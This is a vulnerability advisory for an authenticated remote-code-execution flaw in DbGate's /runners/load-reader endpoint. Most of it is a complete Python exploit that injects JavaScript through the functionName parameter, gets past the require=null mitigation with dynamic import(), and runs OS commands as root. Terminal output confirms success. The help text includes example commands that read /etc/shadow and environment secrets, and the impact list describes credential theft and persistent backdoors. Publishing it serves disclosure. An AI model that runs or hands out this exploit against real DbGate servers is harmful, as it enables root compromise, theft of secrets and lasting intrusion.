CVE-2026-47670 — dbgate-api

Summary

DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized functionName parameter in the /runners/load-reader endpoint. The require = null mitigation is trivially bypassed via dynamic import().

Details

Code injection via functionName in loadReader

The /runners/load-reader endpoint interpolates the functionName parameter directly into a dynamically generated JavaScript script template without any sanitization:

// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)
const reader = await dbgateApi.${functionName}({...});

By injecting a newline character into functionName, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses await import('child_process') to bypass the require = null mitigation (since import() is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).

The June 2025 security fix (commit cf3f95c) added require = null to the generated script, but this is trivially bypassed:

// Mitigation in generated script:
require = null;

// Bypass via dynamic import (language keyword, cannot be nullified):
const { execSync } = await import('child_process');
execSync('arbitrary command');

Root cause: functionName is user-controlled input that is interpolated into code without sanitization. The fix should validate functionName against an allowlist of known reader functions (e.g., /^[a-zA-Z]+$/) or use a lookup table instead of string interpolation.

PoC

The PoC can be run against a test environment using Docker Compose:

services:
  sectest-dbgate:
    image: dbgate/dbgate:7.1.4-alpine
    ports:
      - "80:3000"
    environment:
      LOGINS: admin
      LOGIN_PASSWORD_admin: SuperSecretPassword123
      WEB_ROOT: /
      CONNECTIONS: con1
      LABEL_con1: MySQL
      SERVER_con1: sectest-mysql
      USER_con1: dbuser
      PASSWORD_con1: dbpassword
      PORT_con1: 3306
      ENGINE_con1: mysql@dbgate-plugin-mysql

  sectest-mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: testdb
      MYSQL_USER: dbuser
      MYSQL_PASSWORD: dbpassword

PoC Script:

#!/usr/bin/env python3
"""
DBGate — Authenticated RCE PoC
===============================
Root-level command execution against auth-enabled DBGate with valid credentials.

  Vulnerability — RCE via loadReader functionName code injection
    The /runners/load-reader endpoint interpolates `functionName` directly
    into a dynamically generated JS script without sanitization.
    A newline in functionName breaks out of the template expression and
    allows arbitrary code execution as root (Docker default).

    The `require = null` mitigation added in June 2025 is trivially
    bypassed via dynamic `import()` (a language keyword, not a function).

Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)
Fixed in:          NOT FIXED as of DbGate 7.1.4
Tested on:         dbgate/dbgate:7.1.4-alpine
"""

import argparse
import json
import sys
import time
import uuid
import requests

requests.packages.urllib3.disable_warnings()

COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"]


def banner(host, command, user):
    print(f"""
  ┌─────────────────────────────────────────────────────┐
  │  DBGate — Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : {host}
  User   : {user}
  Command: {command}
""")


def build_base(host, port=None):
    if "://" not in host:
        host = f"http://{host}"
    scheme, rest = host.split("://", 1)
    rest = rest.rstrip("/")
    slash = rest.find("/")
    if slash == -1:
        hostport, path = rest, ""
    else:
        hostport, path = rest[:slash], rest[slash:]
    if port:
        hostport = hostport.rsplit(":", 1)[0] + f":{port}"
    elif ":" not in hostport:
        hostport += ":80"
    return f"{scheme}://{hostport}", path


def discover_web_root(base_host, explicit_path=""):
    if explicit_path:
        return f"{base_host}{explicit_path}"

    for root in COMMON_ROOTS:
        url = f"{base_host}{root}"
        try:
            r = requests.post(f"{url}/config/get", json={},
                              timeout=3, verify=False)
            if r.status_code == 200 and "version" in r.text:
                if root:
                    print(f"    [+] Auto-detected WEB_ROOT: {root}")
                return url
        except Exception:
            pass
    return base_host


def phase1_recon(base):
    print("[Phase 1] Reconnaissance")
    info = {}

    try:
        r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            cfg = r.json()
            info["config"] = cfg
            version = cfg.get("version", "?")
            print(f"    [+] Version      : {version}")
            print(f"    [+] Docker       : {cfg.get('isDocker', '?')}")
            print(f"    [+] Data dir     : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}")
    except Exception:
        print(f"    [!] /config/get failed")

    try:
        r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False)
        if r.status_code == 200:
            pdata = r.json()
            info["providers"] = pdata
            providers = pdata.get("providers", [])
            names = [p.get("name", "?") for p in providers]
            default = pdata.get("default", "?")
            print(f"    [+] Auth         : {', '.join(names)} (default: {default})")
            info["default_amoid"] = default
    except Exception:
        pass

    print()
    return info


def phase2_authenticate(base, info, user, password):
    print("[Phase 2] Authentication")

    amoid = info.get("default_amoid", "logins")

    try:
        r = requests.post(
            f"{base}/auth/login",
            json={"amoid": amoid, "login": user, "password": password},
            timeout=5, verify=False,
        )
        if r.status_code == 200:
            data = r.json()
            token = data.get("accessToken")
            if token:
                print(f"    [+] Authenticated as '{user}'")
                print(f"    [+] JWT obtained: {token[:50]}...")
                print()
                return token
            else:
                error = data.get("error", "no accessToken in response")
                print(f"    [-] Login failed: {error}")
        else:
            print(f"    [-] Login failed (HTTP {r.status_code})")
    except Exception as e:
        print(f"    [!] Login error: {e}")

    print()
    return None


def phase3_rce(base, token, command):
    """
    RCE via loadReader functionName code injection.

    functionName is interpolated into a JS script template:
        const reader = await dbgateApi.{functionName}({...});
    A newline in functionName breaks out and injects arbitrary code.

    import() bypasses the require=null mitigation (import is a keyword).
    """
    print("[Phase 3] RCE via loadReader code injection")
    print(f"    [*] Command: {command}")

    uid = uuid.uuid4().hex[:12]
    jslout = f"/tmp/_rce_{uid}.jsonl"

    escaped_cmd = (command
                   .replace("\\", "\\\\")
                   .replace("'", "\\'")
                   .replace("`", "\\`"))

    payload_fn = (
        "csvReader\n"
        "var _r = (await import('child_process'))"
        f".execSync('{escaped_cmd}',{{timeout:30000}})"
        ".toString();\n"
        "var NL = String.fromCharCode(10);\n"
        "var _hdr = JSON.stringify({__isStreamHeader:true,"
        "columns:[{columnName:'out'}]});\n"
        "var _rows = _r.split(NL)"
        ".filter(function(l){return l.length>0})"
        ".map(function(l){return JSON.stringify({out:l})})"
        ".join(NL);\n"
        f"(await import('fs')).writeFileSync('{jslout}',"
        " _hdr + NL + _rows + NL);\n"
        "//"
    )

    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    }

    print(f"    [*] Injecting payload via functionName (bypasses require=null)")

    try:
        r = requests.post(
            f"{base}/runners/load-reader",
            json={"functionName": payload_fn, "props": {}},
            headers=headers,
            timeout=35, verify=False,
        )
        print(f"    [*] Payload sent (status {r.status_code})")
    except requests.exceptions.Timeout:
        print(f"    [*] Payload sent (timed out — command may still be running)")
    except requests.exceptions.ConnectionError:
        print(f"    [*] Payload sent (connection reset — expected for some versions)")
    except Exception as e:
        print(f"    [!] Send error: {e}")
        return None

    print(f"    [*] Waiting for execution...")
    for wait in [0.5, 1, 1.5, 2, 3, 5]:
        time.sleep(wait)
        try:
            r = requests.post(
                f"{base}/jsldata/get-rows",
                json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                headers=headers,
                timeout=5, verify=False,
            )
            if r.status_code == 200:
                rows = r.json()
                if isinstance(rows, list) and len(rows) > 0:
                    print(f"    [+] Output captured ({len(rows)} lines)")
                    print()
                    return "\n".join(
                        row.get("out", "")
                        for row in rows
                        if isinstance(row, dict)
                    )
        except requests.exceptions.ConnectionError:
            try:
                time.sleep(1)
                r = requests.post(
                    f"{base}/jsldata/get-rows",
                    json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
                    headers=headers,
                    timeout=5, verify=False,
                )
                if r.status_code == 200:
                    rows = r.json()
                    if isinstance(rows, list) and len(rows) > 0:
                        print(f"    [+] Output captured ({len(rows)} lines, after reconnect)")
                        print()
                        return "\n".join(
                            row.get("out", "")
                            for row in rows
                            if isinstance(row, dict)
                        )
            except Exception:
                pass
        except Exception:
            pass

    print(f"    [-] Could not retrieve output (command may have failed)")
    print()
    return None


def main():
    p = argparse.ArgumentParser(
        add_help=False,
        description="DBGate — Authenticated RCE PoC (loadReader code injection)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Any authenticated DbGate user can escalate to root-level\n"
            "command execution via unsanitized functionName injection.\n"
            "This vulnerability is UNPATCHED as of DbGate 7.1.4.\n"
            "\n"
            "examples:\n"
            "  %(prog)s -t localhost -u admin -P 'password' -c 'id'\n"
            "  %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\n"
            "  %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\n"
        ),
    )
    p.add_argument("-t", "--target", required=True, help="Target host[:port]")
    p.add_argument("-u", "--user", required=True, help="DbGate username")
    p.add_argument("-P", "--password", required=True, help="DbGate password")
    p.add_argument("-c", "--command", required=True, help="OS command to execute")
    p.add_argument("-p", "--port", type=int, default=None, help="Override port")

    if len(sys.argv) == 1:
        p.print_help()
        sys.exit(1)
    args = p.parse_args()

    base_host, path = build_base(args.target, args.port)
    banner(base_host, args.command, args.user)

    base = discover_web_root(base_host, path)
    print(f"    [*] API endpoint : {base}")
    print()

    info = phase1_recon(base)
    if not info.get("config"):
        print("[!] Cannot reach target — verify host/port/web-root")
        sys.exit(1)

    token = phase2_authenticate(base, info, args.user, args.password)
    if not token:
        print("[!] Authentication failed — check username/password")
        sys.exit(1)

    output = phase3_rce(base, token, args.command)
    if output is not None:
        print("─" * 60)
        print(output.rstrip())
        print("─" * 60)
        print()
        print("[+] RCE successful: authenticated user → root command execution")
    else:
        print("[!] No output captured (command may have failed or timed out)")
        sys.exit(1)


if __name__ == "__main__":
    main()

And running the PoC Python script (requires valid credentials):

python3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'

Terminal output:

  ┌─────────────────────────────────────────────────────┐
  │  DBGate — Authenticated RCE PoC                     │
  │  loadReader functionName code injection             │
  │  Affects ALL versions (unpatched as of 7.1.4)       │
  └─────────────────────────────────────────────────────┘
  Target : http://localhost:80
  User   : admin
  Command: id

    [*] API endpoint : http://localhost:80

[Phase 1] Reconnaissance
    [+] Version      : 7.1.4
    [+] Docker       : True
    [+] Data dir     : /root/.dbgate
    [+] Auth         : Login & Password (default: logins)

[Phase 2] Authentication
    [+] Authenticated as 'admin'
    [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...

[Phase 3] RCE via loadReader code injection
    [*] Command: id
    [*] Injecting payload via functionName (bypasses require=null)
    [*] Payload sent (status 500)
    [*] Waiting for execution...
    [+] Output captured (1 lines)

────────────────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
────────────────────────────────────────────────────────────

[+] RCE successful: authenticated user → root command execution

Impact

• Privilege escalation to root — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container
• Infrastructure secret theft — /proc/1/environ exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI
• Other users' credentials — extracts LOGIN_PASSWORD_* env vars for all DbGate users, enabling password-reuse attacks against other systems
• Network pivot — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally
• Persistent backdoor — root access allows modifying the DbGate application itself (e.g. bundle.js), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts